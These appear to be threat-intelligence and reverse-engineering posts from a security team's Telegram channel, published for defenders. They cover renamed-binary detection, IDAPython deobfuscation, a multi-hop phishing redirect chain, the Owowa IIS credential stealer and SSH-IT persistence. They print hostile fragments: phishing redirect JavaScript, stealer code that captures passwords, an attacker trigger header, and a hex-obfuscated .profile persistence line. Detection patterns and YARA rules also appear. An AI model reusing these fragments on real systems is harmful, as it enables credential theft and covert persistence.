ESCalator
6.6K subscribers
479 photos
1 video
18 files
190 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
Download Telegram
🤔 Помните, в паре предыдущих постов мы описывали простые и чуть посложнее подходы к выявлению вредоносов на примере письма, попавшего к нам в SOC, и вложения из него?

Ловите продолжение 👇

Если вдруг подобный вредонос смог пройти все рубежи защиты, попасть на тачку пользователя и начать там работать, не все потеряно!

Вы же обратили внимание, что на первом этапе вредоносный BAT-файл копировал и переименовывал пару системных файлов (cmd.exe и certutil.exe), которые затем использовал?

Выявление такого поведения несложно автоматизировать 😏

Хорошо настроенная служба Microsoft Sysmon позволяет не только журналировать запуск процессов и параметры командной строки, но и фиксировать такие интересные данные из свойств файла, как его оригинальное имя (смотрите скриншоты 1 и 2).

А значит, достаточно просто сравнить значения двух полей в событии, чтобы вовремя выявить использование подобной хакерской техники (она, кстати, называется «Маскировка: Переименование системных утилит»).

В составе пакетов экспертизы MaxPatrol SIEM у нас есть правило и на этот случай — Copied_or_Renamed_Executable.

А если у вас нет нашего продукта, можно взять за основу для своих детектов одно из SIGMA-правил proc_creation_win_renamed_binary_highly_relevant.

#Detect #Sigma #Rules
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
13🤩76👍2😁1
Как починить CFG 🔧

В процессе реверса ВПО мы встречаемся со случаями, когда обфускация мешает понять общий алгоритм работы. Один из примеров — создание двух последовательных противоположных условных переходов в одну точку.

Схематично это выглядит так:


start:
jnX labelA
jX labelA
labelA:
<bytes>


То есть IDA при анализе кода идет сначала по ветке False и создает код там, откладывая ветку True на потом. Встретив инструкцию jnX, IDA создает код сразу после текущей.

Далее, встретив противоположный условный переход, она снова идет по ветке False и создает код на следующем адресе, построив мусорную инструкцию, после которой дизассемблировать уже нельзя. Тогда IDA возвращается к отложенной на потом очереди и берет адрес оттуда, но беда в том, что там код уже создан, а значит анализ завершается (хорошо видно на скриншоте 1).

При живом исполнении в независимости от состояния флагов будет выполнен переход на операнд, то есть выполнение будет как на скриншоте 2, если мы подправим control flow.

Трудность при исследовании таких шеллкодов в том, что переходов может быть много и каждый раз анализ будет о них спотыкаться. Можно попробовать починить вручную, но если таких блоков будут сотни?

✍️ Чтобы справиться с этим, напишем несложный скрипт на IDAPython, который исправит проблему автоматически. Задача — найти эти блоки и пропатчить их.

Сначала составим список противоположных условных переходов и положим его в функцию, которая будет сверять две последовательные инструкции со списком:


def c_jumps(addr, n_addr):
ops = [
("jz", "jnz"),
("jnz", "jz"),
("je", "jne"),
("jne", "je"),
...
]
if (ida_ua.print_insn_mnem(addr), ida_ua.print_insn_mnem(n_addr)) in ops:
return True
return False


Будем последовательно проходить каждую инструкцию до тех пор, пока не встретим нужные либо не упремся в лимит.


def deobf(start, limit=BADADDR):
while addr != BADADDR:
n_addr = ida_search.find_code(addr, ida_search.SEARCH_DOWN)
if n_addr == BADADDR:
break

if not c_jumps(addr, n_addr):
addr = n_addr
continue


🧐 С помощью метода find_code из модуля ida_search находим следующий адрес, на котором есть код, а с помощью функции c_jumps проверяем, являются ли инструкции на этом и следующем адресе противоположными прыжками. Найдя их, мы должны проверить, указывают ли эти прыжки на одну точку (то есть равны ли их операнды):


o1 = get_operand_value(addr, 0)
o2 = get_operand_value(n_addr, 0)

if o1 != o2:
addr = n_addr
continue

insn = ida_ua.insn_t()
l1 = ida_ua.decode_insn(insn, addr)
l2 = ida_ua.decode_insn(insn, n_addr)


С помощью get_operand_value получаем значение операндов (у jX и jXX он один) и проверяем их равенство. Чтобы определить длину отрезка, который нужно пропатчить, с помощью decode_insn из ida_ua находим длины инструкций.

Затем исправляем условные переходы и просим IDA проанализировать новый код. Это необходимо, чтобы можно было найти дальнейшие блоки обфускации:


after_addr = n_addr + l2
ida_bytes.patch_bytes(addr, bytes([0x90] * (l1 + l2 + 1)))

ida_auto.auto_wait()
ida_bytes.del_items(after_addr, ida_bytes.DELIT_EXPAND)
ida_auto.auto_wait()

ida_ua.create_insn(o1)
addr = o1
ida_auto.auto_wait()


🗂 Методом patch_bytes из ida_bytes мы патчим инструкции, с помощью auto_wait из ida_auto просим IDA проанализировать новый код, затем, используя del_items, удаляем мусорные инструкции, созданные при первичном анализе, и снова анализируем. С помощью create_insn создаем валидную инструкцию там, куда указывали условные переходы, и переанализируем в последний раз.

Таким образом, этот скрипт позволяет из обфусцированного кода получить нормальный ASM-код, как на скриншоте 3.

Иногда после него остаются единичные нераспознанные байты, но их легко поправить. Из этого кода можно создать функцию, декомпилировать ее и проанализировать (как на скриншоте 4).

Изучайте IDAPython, пишите скрипты. Happy reversing!

#tip #reverse #idapython
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👍7💯6👾3
Бесконечная череда переходов ♾️

Довольно часто злоумышленники, отправляя фишинговые ссылки по почте, не прикрепляют их в явном виде к электронному письму, а используют разнообразные техники перенаправления. Подозрительный домен прячется от пользователя и средств защиты, осуществляющих статический анализ ссылок, и увеличивает шансы поймать жертву.

Часто киберпреступники используют один уровень перенаправления с легитимного ресурса на вредоносный. Но нам посчастливилось разобрать кейс, где злоумышленник использовал сразу пять последовательных — и, самое главное, разнообразных — техник перенаправления на вредоносный ресурс.

1️⃣ Перенаправление через TikTok

Ссылка начинается с конструкции:


https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=


TikTok дает возможность поместить в описание профиля (параметр bio_url) ссылки на внешние ресурсы, и перенаправление на них производится по приведенному выше URL-адресу. Кстати, aid=1988 видим не только в рамках исследования этого кейса, но и в отчетах других вендоров. Единственный необязательный параметр в этом запросе — lang, но, видимо, он, так же как и ID, перекочевал и образовал устойчивый префикс в фишинговых кейсах. Это наводит на мысль добавить его в качестве шаблона для средств защиты.

Итак, TikTok вместо смешных рилсов переправляет нас на...

2️⃣ Google AMP


https://www.google.ca/url?q=amp/s/<phishing_url>


Google AMP — средство ускоренного просмотра веб-страниц, поддерживающих ряд специально созданных для этого ускорения ограничений. Примечательно, что страница загружается не с самого домена, на котором она размещена, а из кэша Google. Собственно, первая интересующая нас веб-страница вполне удовлетворяет этим требованиям, поскольку содержит всего несколько строк JavaScript-кода.

3️⃣ Первый подозрительный домен

Содержит следующий код:


<script type="text/javascript">
var firstBase64Url = "aHR0cHM6Ly94LmNvbQ==";
var secondBase64Url = "<Ещё один вредоносный ресурс>";

// Load the first URL for a few seconds
setTimeout(function() {
window.open(atob(firstBase64Url), '_blank');
}, 2000); // 2000 milliseconds = 2 seconds

// After the specified time, load the second URL
setTimeout(function() {
window.location.href = atob(secondBase64Url) + "?qrc=" + window.location.hash.substr(1);
}, 2000); // 2000 milliseconds = 2 seconds
</script>


При выполнении, когда истекает тайм-аут в 2 секунды, открывается новая вкладка с firstBase64Url (как несложно проверить, это https://x.com/, еще один легитимный ресурс), а в открытой вкладке происходит перенаправление на secondBase64Url. Обе техники — открытие новой браузерной вкладки и включение тайм-аута — нужны для усложнения анализа веб-краулерами.

4️⃣ Переход на secondBase64Url

На данном этапе нам встречается использование Cloudflare Turnstile — встраиваемой мини-капчи, не требующей перевода трафика через Cloudflare (пример интерфейса на скриншоте 1). При ручном анализе кода этой страницы мы уже можем распарсить еще один URL-адрес, но, чтобы все-таки совершить переход на него, надо учиться проходить эту капчу.

5️⃣ Традиционный 3XX код ответа страницы

Здесь все просто: на предыдущем этапе URL из кода через стандартный ответ 302 перенаправляет на конечную фишинговую страницу сбора паролей, имитирующую окно авторизации Microsoft Outlook. Ее интерфейс в окне браузера представлен на скриншоте 2.

💁‍♂️ Советы:

При анализе фишингового URL-адреса стоит обратить внимание на покрытие обнаруженных техник против переходов (включение пауз, капч, открытие новых вкладок) имеющимися средствами защиты информации: если используемое СЗИ при автоматическом переходе по ссылке не умеет их обходить, то полезным может оказаться просто их детектирование и блокировка соответствующего почтового сообщения.

Если вы (как пользователь) нажали на подобную ссылку — обратите внимание, насколько часто менялся URL в адресной строке браузера и сколько дополнительных действий было сделано вами и на стороне браузера.

#tip #phishing #web
@ptescalator
🔥11👍843🍌1
На какие сообщения вы бы с удовольствием ответили? 📭
Anonymous Poll
3%
Ваш аккаунт в панике и хочет заблокироваться! Успокойте его, подтвердив данные 🤗
5%
Система безопасности заметила гостя в вашем профиле. Не забудьте передать ему привет! 👋
3%
Ваш заказ в шоке: он не был доставлен. Хотите исправить недоразумение? 🛍
4%
Сюрприз! Вы получаете бонус просто за то, что вы такой классный! Подтвердите для зачисления 🤩
2%
Ваши фото внезапно решили стать популярными. Проверьте, не стали ли они вирусными 😎
7%
Привет! Горячие нули всего в 27 километрах от тебя. Напиши первым 😏
11%
Мы заметили, что кто-то зашел в ваш профиль. Наверное, это вы, но вдруг нет? 🧐
4%
Ваш доступ к корпоративной сети чувствует себя забытым. Подтвердите его, пока не обиделся 😔
5%
Вы заслужили компенсацию за трудовые подвиги. Проверьте реквизиты и получите щедрость компании 👌
55%
Я никому не отвечаю, у меня выходные 🍺
👍9🔥7💯5💩211🤡1
Gapucino* — это GOFFEE ☕️

Сегодня мы расскажем про одну из самых активных на данный момент кампаний на территории России. Другие исследователи называют ее GOFFEE.

В качестве исходного вектора злоумышленники используют фишинговые письма с документами, которые содержат вредоносный макрос. Пример такого документа мы разобрали в посте !!р^д**н**c 🤔

Аналогичные документы можно обнаружить по паттерну:


content:"DigitalRSASignature"


Кроме того, эксперты из Cisco Talos буквально на днях описали аналогичную цепочку атак на российские компании.

После проникновения в инфраструктуру атакующие используют Mythic-агент QwakMyAgent, написанный на языке PowerShell, о котором рассказали специалисты F.A.C.C.T.

Одним из самых интересных инструментов, который применяется атакующими в ходе этой кампании, является IIS-модуль Owowa (о нем — в следующем посте).

* Gapucino.com — один из C2 злоумышленников.

#dfir #detect #C2 #TI
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍43👾2🆒1
⚠️ OWOWAсный модуль, или IIS кOWOWAрен

Про вредоносный IIS-модуль Owowa, предназначенный для перехвата учетных записей пользователей, исследователи рассказывали еще в 2021 году.

А в 2022 году мы рассказывали про его эволюцию на OFFZONE. Как показывает практика, используя этот IIS-модуль, атакующие за достаточно короткий временной промежуток могут скомпрометировать большое количество учетных записей и получить пароли пользователей в открытом виде.

Модуль устанавливается в системе командой appcmd.exe install module. Во всех проанализированных нами образцах базовый класс, который реализует интерфейс IHttpModule, называется ExtenderControlDesigner. После запуска модуль методом PreSendRequestContent перехватывает входящие запросы.


public class ExtenderControlDesigner : IHttpModule
{
public void Init(HttpApplication context)
{
context.PreSendRequestContent += this.PreSend_RequestContent;
}
private void PreSend_RequestContent(object sender, EventArgs e)
{...


Злоумышленники продолжают использовать этот достаточно простой IIS-модуль в своих самых громких атаках на российские компании и в 2024 году. Так, расследуя один из инцидентов ИБ, команда PT ESC обнаружила модификацию стилера Owowa. В обновленной версии атакующие отказались от записи скомпрометированных учетных данных в журнал в файловой системе. Вместо этого они хранятся в HashSet в оперативной памяти.

Пример учетных данных, которые записываются в HashSet:


ExtenderControlDesigner.Data item = new ExtenderControlDesigner.Data
{
Id = text,
UserName = userName,
Password = pass,
UserHostAddress = userHostAddress,
XForwardedFor = xForwardedFor,
DateTimeUtc = dateTimeUtc
};
bool flag2 = !ExtenderControlDesigner.hashSetData.Contains(item);
if (flag2)
{
ExtenderControlDesigner.hashSetData.Add(item);
}


Данные, как и раньше, защищены алгоритмом RSA-2048, а публичный ключ захардкожен в модуле. Для получения информации о количестве уникальных записей можно произвести поиск сигнатуры 42 5A 68 00, она является разделителем учетных записей.


memoryStream.Write(new byte[]
{
66,
90,
104,
0
}, 0, 4);


Так как публичный ключ модуля, использовавшегося в атаках на компании в России, всегда идентичен и не менялся с 2022 года, мы можем предположить, что за всеми атаками с его применением стоит одна группа злоумышленников.

Зашифрованный список учетных записей злоумышленники получают отправив корректный GET-запрос с заголовком username: ZaDS0tojX0VDh82.

Пример GET-запроса в журналах IIS-сервера:


2024-07-29 14:32:21 127.0.0.1 GET /owa/ 443 ZaDS0tojX0VDh82 127.0.0.2 Mozilla/5.0+(X11;+Linux+x86_64;+rv:109.0)+Gecko/20100101+Firefox/115.0 - 401 1 1527 14


Помимо перехвата полей username, password в новой версии были добавлены перехваты LOGON_USER, AUTH_PASSWORD.

В последней версии злоумышленники отказались от функции RunCommand, которая выполняла команды на скомпрометированном узле через powershell.exe.

IoCs:


Name MD5
ClassLibrary2.dll af6507e03e032294822e4157134c9909
ClassLibrary3.dll 2d240b6ceeaacd2e3dd52c9e7d3fb622
ClassLibrary3.dll 5cc433a2550bb7389f6c90521e7afa25
ExtenderControlDesigner.dll 967e7b6b048d628f36bbb4ca7b0f483f
ClassLibrary3.dll e657eea3b9b7317e28ab4a89c1fa2177
ClassLibrary3.dll 6e6218aac341463496cca32f52b29013
ClassLibrary3.dll 4d66a3bbaf65a2ec36fd2d143c872ef6


YARA:


rule Owowa {
strings:
$s1 = "IHttpModule"
$s2 = "PreSend_RequestContent"
$s3 = "ExtenderControlDesigner"
$u1 = "283c00ecp774ag36boljbpp6" wide
$u2 = "dEUM3jZXaDiob8BrqSy2PQO1" wide
$u3 = "Fb8v91c6tHiKsWzrulCeqO" wide
$u4 = "jFuLIXpzRdateYHoVwMlfc" wide
$u5 = "oACgTsBMliysfk" wide
$u6 = "uW4sSY1CAkN6kI6r6ByXUWnK" wide
$u7 = "ZaDS0tojX0VDh82" wide
$u8 = "zwa879pOX1NAmTom8m3aQvoZ" wide
condition:
uint16be ( 0 ) == 0x4d5a and ( 2 of ( $s* ) ) and ( 2 of ( $u* ) ) and filesize < 20KB
}


Happy hunting!

#hunt #IOC #yara #dfir #detect #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥126💯4👍1🍾1
😲 Да кто такие эти ваши PhaseShifters?

В начале июня 2024 года специалисты департамента Threat Intelligence выявили новую цепочку атаки PhaseShifters.

✍️ PhaseShifters (Sticky Werewolf, UAC-0050 ) — хакерская группировка, занимающаяся шпионажем, атаки которой направлены на различные отрасли стран Восточной Европы, в том числе на государственные учреждения, сферу экономики и промышленности.

В своих атаках группировка использует фишинг: злоумышленники отправляют письма якобы от официальных лиц с просьбой ознакомиться с документом и подписать его. Документ находится во вложении внутри защищенного паролем архива. В качестве ВПО злоумышленники используют Rhadamanthys, DarkTrack RAT, Meta Stealer и другие.

🔍 Мы наблюдаем высокую активность группировки с весны 2023 года и уже тогда заметили одну странную деталь. Дело в том, что атаки группировки PhaseShifters по техникам идентичны атакам другой группировки — UAC-0050. Более того, атаки проходят с небольшим временным промежутком, то есть группировки одинаково атакуют с разницей в несколько недель — месяц.

На данный момент мы склоняемся к тому, что UAC-0050 и PhaseShifters — это одна и та же группировка, но убедиться в этом можно будет только после более длительного наблюдения.

⚠️ И это случилось снова....

Летом этого года обе группировки начали использовать идентичные паттерны в своих атаках. Дошло даже до того, что ВПО группировок располагалось в одном и том же репозитории BitBucket. Это заставило нас углубиться в эту тему.

📰 Какая атака обнаружена, какие сходства мы увидели, кого атаковали, а также при чем здесь TA558 и бразильские обфускаторы и криптеры — все это вы можете узнать в нашей статье.

#TI #Hunt #Malware #APT
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥85👍5🤣2
SSH-IT. Инструкция по обнаружению популярного инструмента 🔭

В процессе расследования множества инцидентов, связанных с компрометацией Linux-узлов, мы иногда обнаруживаем на них различные хакерские инструменты.

Сегодня поговорим об SSH-IT. Хакеры часто используют его для перехвата SSH-сессий и получения вводимых пользователем команд.

Для обнаружения признаков установки инструмента на узлах ищите:

1. Файлы по паттерну: '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)':

find / -type f | egrep -a '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)'


🧐 Пример:


/home/john/.config/prng/askpass.sh
/home/john/.config/prng/depth.cfg
/home/john/.config/prng/funcs
/home/john/.config/prng/hook.sh
/home/john/.config/prng/ptyspy_bin.aarch64-linux
/home/john/.config/prng/ptyspy_bin.armv6l-linux
/home/john/.config/prng/ptyspy_bin.i386-alpine
/home/john/.config/prng/ptyspy_bin.mips32-alpine
/home/john/.config/prng/ptyspy_bin.mips64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-osx
/home/john/.config/prng/seed
/home/john/.config/prng/ssh
/home/john/.config/prng/ssh_login.sh
/home/john/.config/prng/thc_cli
/home/john/.config/prng/x.sh


2. Файлы, через которые может осуществляться закрепление в системе и в которых встречаются строки по паттерну: '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD'

egrep -aor '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD' /


👀 Пример (файл /home/john/.profile):


"# ~/.profile: executed by the command interpreter for login shells.
# DO NOT REMOVE THIS LINE. SEED PRNGD.
source "$(echo 2f686f6d652f6a6f686e2f2e636f6e6669672f70726e672f736565640a|/usr/bin/xxd -r -ps 2>/dev/null)" 2>/dev/null #PRNGD
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.

# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022

# if running bash
if [ -n ""$BASH_VERSION"" ]; then
# include .bashrc if it exists
if [ -f ""$HOME/.bashrc"" ]; then
. ""$HOME/.bashrc""
fi
fi

# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/bin"" ] ; then
PATH=""$HOME/bin:$PATH""
fi

# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/.local/bin"" ] ; then
PATH=""$HOME/.local/bin:$PATH""
fi"


📃 Рекомендации по дальнейшим действиям:

1️⃣ Заблокировать адреса управляющих серверов;

2️⃣ Удалить файлы, относящиеся к SSH-IT, а также изменить файлы, через которые SSH-IT закрепился в системе;

3️⃣ Перезагрузить скомпрометированный хост;

4️⃣ Осуществить поиск подозрительных входов по сети и проверку логов веб-сервера (если он есть и торчит наружу).

#tip #detect #hacktool #dfir
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👍7💯62💩1🦄1
PT ESC на SOC FORUM 2024 👀

На юбилейном, десятом, #socforum специалисты нашего экспертного центра безопасности представят семь презентаций по различным направлениям.

Выбирайте, какие вам по душе, и приходите послушать (или смотрите онлайн)!

🗓 7 ноября

14:35–15:00 | Зал 2
«Осмысленная открытость: как мы разрабатываем open-source-проекты в сфере ИБ и зачем создали комитет по открытому коду внутри компании»

Кутепов Антон — руководитель направления развития инициатив ИБ-сообществ

Попов Александр — главный исследователь безопасности операционных систем

▶️▶️▶️

15:00–15:30 | Зал 3
«Кто автор? Как работает автоматизированный модуль атрибуции вредоносного ПО»

Медведев Сергей — руководитель группы углубленного исследования угроз экспертного центра безопасности PT ESC

▶️▶️▶️

16:30–17:00 | Зал 3
«Stratocaster: как мы автоматизировали рутинный поиск неизвестного ВПО в сетевом трафике»

Бечкало Евгений — руководитель отдела сетевой экспертизы антивирусной лаборатории ESC

Наумова Ксения — специалист отдела сетевой экспертизы антивирусной лаборатории ESC

▶️▶️▶️

18:00–18:30 | Зал 3
«Неочевидное, но опасное: как мы научились ловить редкие буткиты с помощью динамического анализа в виртуальных машинах»

Максютин Павел — ведущий специалист отдела экспертизы PT Sandbox

🗓 8 ноября

12:40–13:20 | Зал 4
«Результаты расследований инцидентов ИБ за 2024 год»

Гойденко Денис — руководитель отдела расследования и реагирования на инциденты ИБ

▶️▶️▶️

14:40–15:20 | Зал 5
«Змеиный улов: обзор интересных троянов, опубликованных в Python Package Index за 2024 год»

Раковский Станислав — руководитель группы Supply Chain Security

▶️▶️▶️

16:00–16:40 | Зал 4
«Livehunt своими руками: какие технологии нужны, чтобы автоматизировать процесс обработки миллиона файлов»

Похлебин Максим — ведущий специалист отдела разработки департамента Threat Intelligence

Андреев Максим — руководитель отдела исследования сложных угроз департамента Threat Intelligence

@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥20👍10👾52😱1🙈1
Учимся восстанавливать импорты VMProtect ⚙️

VMProtect — один из самых используемых протекторов ВПО. При этом зачастую злоумышленники ленятся и используют лишь простые опции защиты — обфускацию точки входа и импортов.

Ранее мы уже научились настраивать виртуальную среду для отладки ВПО, а также познакомились с эмулятором Speakeasy. Воспользуемся этими знаниями, чтобы попытаться восстановить импорты VMP.

Сдампим процесс (важно, чтобы в нем на момент дампа была достигнута OEP, тогда VMP инициализирует все внутренние структуры для работы), откроем дамп в IDA и позволим ей разметить символы библиотек.

Далее посмотрим, как выглядят обфусцированные импорты (скриншот 1). Видно, что VMP вставил вызов на свою секцию вместо вызова оригинальной библиотеки, а вызываемая функция состоит из кучи (на первый взгляд) мусорных инструкций.

❗️ Однако это не совсем так. Если провалиться в этот вызов в отладчике, то в какой-то момент на стеке окажется настоящий адрес API. Пример трассировки смотрите на скриншоте 2.

Попробуем это автоматизировать. Для начала необходимо собрать интересующий нас список вызовов. Логика простая: вызов идет из текстовой секции в секцию VMP (скриншот 3). Для краткости будем считать, что адреса этих секций в дампе нам уже известны.

Напишем логику для разрешения полученных адресов, для этого загрузим модуль из дампа как шеллкод в Speakeasy и добавим хук с проверкой каждой инструкции на ret. Дополнительно ограничим максимальную глубину трассировки и будем сохранять количество шагов для каждого импорта. Итоговое содержимое хука, а также функцию инициализации шеллкода в эмуляторе можно увидеть на скриншоте 4.

Функция запуска эмулятора представлена на скриншоте 5. Он выполняется несколько раз, чтобы обойти ситуацию, когда после выполнения нескольких мусорных инструкций повреждается его внутреннее состояние и попытки прочитать что-то после всегда завершаются ошибками.

Теперь объединим все вместе и посмотрим на результаты (скриншот 6). Опираясь на собранную информацию, можно разметить большую часть импортов в исходном образце.

👀 Итого: мы научились минимальными усилиями восстанавливать импорты VMP, что значительно упрощает анализ таких образцов. При желании можно применить аналогичный подход для запущенных процессов, а также пропатчить и пересобрать образец с правильными адресами API, как это делает, например, vmpdump.

#ti #malware #tip #VMProtect
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15👍95